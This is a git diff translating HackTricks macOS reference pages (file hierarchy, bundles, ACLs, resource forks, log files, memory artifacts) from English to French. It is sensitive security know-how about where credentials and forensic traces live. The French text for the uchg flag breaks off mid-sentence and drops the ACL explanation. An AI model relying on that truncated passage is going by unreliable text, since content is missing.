☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 8800f3608..c471bba50 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -1,128 +1,109 @@ -# macOS Files, Folders, Binaries & Memory +# Fichiers, Dossiers, Binaires et Mémoire de macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## File hierarchy layout +## Hiérarchie des fichiers -* **/Applications**: The installed apps should be here. All the users will be able to access them. -* **/bin**: Command line binaries -* **/cores**: If exists, it's used to store core dumps -* **/dev**: Everything is treated as a file so you may see hardware devices stored here. -* **/etc**: Configuration files -* **/Library**: A lot of subdirectories and files related to preferences, caches and logs can be found here. A Library folder exists in root and on each user's directory. -* **/private**: Undocumented but a lot of the mentioned folders are symbolic links to the private directory. -* **/sbin**: Essential system binaries (related to administration) -* **/System**: File fo making OS X run. You should find mostly only Apple specific files here (not third party). -* **/tmp**: Files are deleted after 3 days (it's a soft link to /private/tmp) -* **/Users**: Home directory for users. -* **/usr**: Config and system binaries -* **/var**: Log files -* **/Volumes**: The mounted drives will apear here. -* **/.vol**: Running `stat a.txt` you obtain something like `16777223 7545753 -rw-r--r-- 1 username wheel ...` where the first number is the id number of the volume where the file exists and the second one is the inode number. You can access the content of this file through /.vol/ with that information running `cat /.vol/16777223/7545753` +* **/Applications** : Les applications installées doivent être ici. Tous les utilisateurs pourront y accéder. +* **/bin** : Binaires de ligne de commande +* **/cores** : S'il existe, il est utilisé pour stocker les vidages de cœur +* **/dev** : Tout est traité comme un fichier, vous pouvez donc voir des périphériques matériels stockés ici. +* **/etc** : Fichiers de configuration +* **/Library** : De nombreux sous-répertoires et fichiers liés aux préférences, caches et journaux peuvent être trouvés ici. Un dossier Library existe dans la racine et dans le répertoire de chaque utilisateur. +* **/private** : Non documenté, mais de nombreux dossiers mentionnés sont des liens symboliques vers le répertoire privé. +* **/sbin** : Binaires système essentiels (liés à l'administration) +* **/System** : Fichier pour faire fonctionner OS X. Vous devriez trouver ici principalement des fichiers spécifiques à Apple (pas de tiers). +* **/tmp** : Les fichiers sont supprimés après 3 jours (c'est un lien symbolique vers /private/tmp) +* **/Users** : Répertoire personnel des utilisateurs. +* **/usr** : Configuration et binaires système +* **/var** : Fichiers journaux +* **/Volumes** : Les lecteurs montés apparaîtront ici. +* **/.vol** : En exécutant `stat a.txt`, vous obtenez quelque chose comme `16777223 7545753 -rw-r--r-- 1 username wheel ...` où le premier nombre est le numéro d'identification du volume où se trouve le fichier et le deuxième est le numéro d'inode. Vous pouvez accéder au contenu de ce fichier via /.vol/ avec ces informations en exécutant `cat /.vol/16777223/7545753` -### Applications Folders +### Dossiers d'applications -* **System applications** are located under `/System/Applications` -* **Installed** applications are usually installed in `/Applications` or in `~/Applications` -* **Application data** can be found in `/Library/Application Support` for the applications running as root and `~/Library/Application Support` for applications running as the user. -* Third-party applications **daemons** that **need to run as root** as usually located in `/Library/PrivilegedHelperTools/` -* **Sandboxed** apps are mapped into the `~/Library/Containers` folder. Each app has a folder named according to the application’s bundle ID (`com.apple.Safari`). -* The **kernel** is located in `/System/Library/Kernels/kernel` -* **Apple's kernel extensions** are located in `/System/Library/Extensions` -* **Third-party kernel extensions** are stored in `/Library/Extensions` +* Les **applications système** sont situées sous `/System/Applications` +* Les **applications installées** sont généralement installées dans `/Applications` ou dans `~/Applications` +* Les **données d'application** peuvent être trouvées dans `/Library/Application Support` pour les applications s'exécutant en tant que root et `~/Library/Application Support` pour les applications s'exécutant en tant qu'utilisateur. +* Les **daemons** d'applications tierces **nécessitant de s'exécuter en tant que root** sont généralement situés dans `/Library/PrivilegedHelperTools/` +* Les applications **sandboxed** sont mappées dans le dossier `~/Library/Containers`. Chaque application a un dossier nommé selon l'ID de bundle de l'application (`com.apple.Safari`). +* Le **noyau** est situé dans `/System/Library/Kernels/kernel` +* Les **extensions de noyau d'Apple** sont situées dans `/System/Library/Extensions` +* Les **extensions de noyau tierces** sont stockées dans `/Library/Extensions` -### Files with Sensitive Information +### Fichiers avec des informations sensibles -MacOS stores information such as passwords in several places: +macOS stocke des informations telles que des mots de passe à plusieurs endroits : {% content-ref url="macos-sensitive-locations.md" %} [macos-sensitive-locations.md](macos-sensitive-locations.md) {% endcontent-ref %} -## OS X Specific Extensions +## Extensions spécifiques à OS X -* **`.dmg`**: Apple Disk Image files are very frequent for installers. -* **`.kext`**: It must follow a specific structure and it's the OS X version of a driver. (it's a bundle) -* **`.plist`**: Also known as property list stores information in XML or binary format. - * Can be XML or binary. Binary ones can be read with: +* **`.dmg`** : Les fichiers d'image de disque Apple sont très fréquents pour les installateurs. +* **`.kext`** : Il doit suivre une structure spécifique et c'est la version OS X d'un pilote. (c'est un bundle) +* **`.plist`** : Également connu sous le nom de liste de propriétés, stocke des informations au format XML ou binaire. + * Peut être XML ou binaire. Les binaires peuvent être lus avec : * `defaults read config.plist` * `/usr/libexec/PlistBuddy -c print config.plsit` * `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` * `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` * `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -* **`.app`**: Apple applications that follows directory structure (It's a bundle). -* **`.dylib`**: Dynamic libraries (like Windows DLL files) -* **`.pkg`**: Are the same as xar (eXtensible Archive format). The installer command can be use to install the contents of these files. -* **`.DS_Store`**: This file is on each directory, it saves the attributes and customisations of the directory. -* **`.Spotlight-V100`**: This folder appears on the root directory of every volume on the system. -* **`.metadata_never_index`**: If this file is at the root of a volume Spotlight won't index that volume. -* **`.noindex`**: Files and folder with this extension won't be indexed by Spotlight. +* **`.app`** : Applications Apple qui suivent la structure de répertoire (c'est un bundle). +* **`.dylib`** : Bibliothèques dynamiques (comme les fichiers DLL de Windows) +* **`.pkg`** : Sont identiques à xar (format d'archive extensible). La commande installer peut être utilisée pour installer le contenu de ces fichiers. +* **`.DS_Store`** : Ce fichier est présent dans chaque répertoire, il enregistre les attributs et les personnalisations du répertoire. +* **`.Spotlight-V100`** : Ce dossier apparaît sur le répertoire racine de chaque volume du système. +* **`.metadata_never_index`** : Si ce fichier se trouve à la racine d'un volume, Spotlight n'indexera pas ce volume. +* **`.noindex`** : Les fichiers et dossiers avec cette extension ne seront pas indexés par Spotlight. -### macOS Bundles +### Bundles macOS -Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder** (like `.app`). +Fondamentalement, un bundle est une **structure de répertoire** dans le système de fichiers. Curieusement, par défaut, ce répertoire **ressemble à un seul objet dans Finder** (comme `.app`). {% content-ref url="macos-bundles.md" %} [macos-bundles.md](macos-bundles.md) {% endcontent-ref %} -## Special File Permissions +## Autorisations de fichiers spéciales -### Folder permissions +### Autorisations de dossier -In a **folder**, **read** allows to **list it**, **write** allows to **delete** and **write** files on it, and **execute** allows to **traverse** the directory. So, for example, a user with **read permission over a file** inside a directory where he **doesn't have execute** permission **won't be able to read** the file. +Dans un **dossier**, **la lecture** permet de **lister** celui-ci, **l'écriture** permet de **supprimer** et **écrire** des fichiers dessus, et **l'exécution** permet de **traverser** le répertoire. Ainsi, par exemple, un utilisateur avec **l'autorisation de lecture sur un fichier** à l'intérieur d'un répertoire où il **n'a pas l'autorisation d'exécution** **ne pourra pas lire** le fichier. -### Flag modifiers +### Modificateurs de drapeaux -There are some flags that could be set in the files that will make file behave differently. You can **check the flags** of the files inside a directory with `ls -lO /path/directory` - -* **`uchg`**: Known as **uchange** flag will **prevent any action** changing or deleting the **file**. To set it do: `chflags uchg file.txt` - * The root user could **remove the flag** and modify the file -* **`restricted`**: This flag makes the file be **protected by SIP** (you cannot add this flag to a file). -* **`Sticky bit`**: If a directory with sticky bit, **only** the **directories owner or root can remane or delete** files. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users’ files. - -### **File ACLs** - -File **ACLs** contain **ACE** (Access Control Entries) where more **granular permissions** can be assigned to different users. - -It's possible to grant a **directory** these permissions: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ -Ans to a **file**: `read`, `write`, `append`, `execute`. - -When the file contains ACLs you will **find a "+" when listing the permissions like in**: +Il existe des drapeaux qui peuvent être définis dans les fichiers qui feront que le fichier se comportera différemment. Vous pouvez **vérifier les drapeaux** des fichiers à l'intérieur d'un répertoire avec `ls -lO /path/directory` +* **`uchg`** : Connu sous le nom de **drapeau uchange** empêchera toute ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies ``` - -You can **read the ACLs** of the file with: - +Vous pouvez **lire les ACLs** du fichier avec: ```bash ls -lde Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies 0: group:everyone deny delete ``` - -You can find **all the files with ACLs** with (this is veeery slow): - +Vous pouvez trouver **tous les fichiers avec des ACL** avec (c'est trèèès lent): ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` +### Fourches de ressources | ADS de macOS -### Resource Forks | macOS ADS - -This is a way to obtain **Alternate Data Streams in MacOS** machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. - +Il s'agit d'un moyen d'obtenir des **flux de données alternatifs dans les machines MacOS**. Vous pouvez enregistrer du contenu à l'intérieur d'un attribut étendu appelé **com.apple.ResourceFork** à l'intérieur d'un fichier en le sauvegardant dans **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -133,59 +114,56 @@ com.apple.ResourceFork: Hello Mac ADS ls -l a.txt #The file length is still q -rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt ``` - -You can **find all the files containing this extended attribute** with: +Vous pouvez **trouver tous les fichiers contenant cet attribut étendu** avec: {% code overflow="wrap" %} ```bash find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` -{% endcode %} +## **Binaires universels et** format Mach-o -## **Universal binaries &** Mach-o Format - -Mac OS binaries usually are compiled as **universal binaries**. A **universal binary** can **support multiple architectures in the same file**. +Les binaires Mac OS sont généralement compilés en tant que **binaires universels**. Un **binaire universel** peut **prendre en charge plusieurs architectures dans le même fichier**. {% content-ref url="universal-binaries-and-mach-o-format.md" %} [universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md) {% endcontent-ref %} -## macOS memory dumping +## Dumping de mémoire macOS {% content-ref url="macos-memory-dumping.md" %} [macos-memory-dumping.md](macos-memory-dumping.md) {% endcontent-ref %} -## Risk Category Files Mac OS +## Fichiers de catégorie de risque Mac OS -The files `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contains the risk associated to files depending on the file extension. +Les fichiers `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contiennent le risque associé aux fichiers en fonction de l'extension de fichier. -The possible categories include the following: +Les catégories possibles comprennent les suivantes : -* **LSRiskCategorySafe**: **Totally** **safe**; Safari will auto-open after download -* **LSRiskCategoryNeutral**: No warning, but **not auto-opened** -* **LSRiskCategoryUnsafeExecutable**: **Triggers** a **warning** “This file is an application...” -* **LSRiskCategoryMayContainUnsafeExecutable**: This is for things like archives that contain an executable. It **triggers a warning unless Safari can determine all the contents are safe or neutral**. +* **LSRiskCategorySafe** : **Totalement** **sûr** ; Safari s'ouvrira automatiquement après le téléchargement +* **LSRiskCategoryNeutral** : Aucun avertissement, mais **non ouvert automatiquement** +* **LSRiskCategoryUnsafeExecutable** : **Déclenche** un **avertissement** "Ce fichier est une application..." +* **LSRiskCategoryMayContainUnsafeExecutable** : Cela concerne des choses comme les archives qui contiennent un exécutable. Il **déclenche un avertissement à moins que Safari puisse déterminer que tous les contenus sont sûrs ou neutres**. -## Log files +## Fichiers journaux -* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contains information about downloaded files, like the URL from where they were downloaded. -* **`/var/log/system.log`**: Main log of OSX systems. com.apple.syslogd.plist is responsible for the execution of syslogging (you can check if it's disabled looking for "com.apple.syslogd" in `launchctl list`. -* **`/private/var/log/asl/*.asl`**: These are the Apple System Logs which may contain interesting information. -* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Stores recently accessed files and applications through "Finder". -* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Stores items to launch upon system startup -* **`$HOME/Library/Logs/DiskUtility.log`**: Log file for thee DiskUtility App (info about drives, including USBs) -* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Data about wireless access points. -* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: List of daemons deactivated. +* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** : Contient des informations sur les fichiers téléchargés, comme l'URL à partir de laquelle ils ont été téléchargés. +* **`/var/log/system.log`** : Journal principal des systèmes OSX. com.apple.syslogd.plist est responsable de l'exécution de la journalisation système (vous pouvez vérifier s'il est désactivé en cherchant "com.apple.syslogd" dans `launchctl list`. +* **`/private/var/log/asl/*.asl`** : Ce sont les journaux système Apple qui peuvent contenir des informations intéressantes. +* **`$HOME/Library/Preferences/com.apple.recentitems.plist`** : Stocke les fichiers et applications récemment consultés via "Finder". +* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`** : Stocke les éléments à lancer au démarrage du système +* **`$HOME/Library/Logs/DiskUtility.log`** : Fichier journal pour l'application DiskUtility (informations sur les lecteurs, y compris les clés USB) +* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`** : Données sur les points d'accès sans fil. +* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`** : Liste des démons désactivés.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 54e1643be..28dd8ef07 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -1,63 +1,35 @@ -# macOS Bundles +## Informations de base -
+Fondamentalement, un bundle est une **structure de répertoire** dans le système de fichiers. De manière intéressante, par défaut, ce répertoire **ressemble à un seul objet dans Finder**. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## Basic Information - -Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. - -The **common** frequent bundle we will encounter is the **`.app` bundle**, but many other executables are also packaged as bundles, such as **`.framework`** and **`.systemextension`** or **`.kext`**. - -The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` +Le bundle **le plus courant** que nous rencontrerons est le **bundle `.app`**, mais de nombreux autres exécutables sont également empaquetés sous forme de bundles, tels que **`.framework`** et **`.systemextension`** ou **`.kext`**. +Les types de ressources contenues dans un bundle peuvent consister en des applications, des bibliothèques, des images, de la documentation, des fichiers d'en-tête, etc. Tous ces fichiers se trouvent dans `.app/Contents/`. ```bash ls -lR /Applications/Safari.app/Contents ``` - * `Contents/_CodeSignature` - Contains **code-signing information** about the application (i.e., hashes, etc.). + Contient des informations de **signature de code** sur l'application (c'est-à-dire des hachages, etc.). * `Contents/MacOS` - Contains the **application’s binary** (which is executed when the user double-clicks the application icon in the UI). + Contient le **binaire de l'application** (qui est exécuté lorsque l'utilisateur double-clique sur l'icône de l'application dans l'interface utilisateur). * `Contents/Resources` - Contains **UI elements of the application**, such as images, documents, and nib/xib files (that describe various user interfaces). + Contient les **éléments d'interface utilisateur de l'application**, tels que des images, des documents et des fichiers nib/xib (qui décrivent diverses interfaces utilisateur). * `Contents/Info.plist`\ - The application’s main “**configuration file.**” Apple notes that “the system relies on the presence of this file to identify relevant information about \[the] application and any related files”. - * **Plist** **files** contains configuration information. You can find find information about the meaning of they plist keys in [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) - * Pairs that may be of interest when analyzing an application include:\\ + Le **fichier de configuration principal** de l'application. Apple note que "le système compte sur la présence de ce fichier pour identifier les informations pertinentes sur l'application et les fichiers associés". + * Les **fichiers Plist** contiennent des informations de configuration. Vous pouvez trouver des informations sur la signification des clés plist sur [https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) + * Les paires qui peuvent être intéressantes lors de l'analyse d'une application comprennent:\\ * **CFBundleExecutable** - Contains the **name of the application’s binary** (found in Contents/MacOS). + Contient le **nom du binaire de l'application** (trouvé dans Contents/MacOS). * **CFBundleIdentifier** - Contains the application’s bundle identifier (often used by the system to **globally** **identify** the application). + Contient l'identifiant de bundle de l'application (souvent utilisé par le système pour **identifier** globalement l'application). * **LSMinimumSystemVersion** - Contains the **oldest** **version** of **macOS** that the application is compatible with. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+ Contient la **plus ancienne version** de **macOS** avec laquelle l'application est compatible. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index f08d59c9c..0aade08db 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,34 +1,33 @@ -# macOS Memory Dumping +# Dumping de la mémoire macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Memory Artifacts +## Artéfacts de mémoire -### Swap Files +### Fichiers d'échange -* **`/private/var/vm/swapfile0`**: This file is used as a **cache when physical memory fills up**. Data in physical memory will be pushed to the swapfile and then swapped back into physical memory if it’s needed again. More than one file can exist in here. For example, you might see swapfile0, swapfile1, and so on. -* **`/private/var/vm/sleepimage`**: When OS X goes into **hibernation**, **data stored in memory is put into the sleepimage file**. When the user comes back and wakes the computer, memory is restored from the sleepimage and the user can pick up where they left off. +* **`/private/var/vm/swapfile0`**: Ce fichier est utilisé comme **cache lorsque la mémoire physique est pleine**. Les données en mémoire physique seront poussées dans le fichier d'échange, puis échangées de nouveau dans la mémoire physique si elles sont à nouveau nécessaires. Plus d'un fichier peut exister ici. Par exemple, vous pourriez voir swapfile0, swapfile1, et ainsi de suite. +* **`/private/var/vm/sleepimage`**: Lorsque macOS entre en **hibernation**, **les données stockées en mémoire 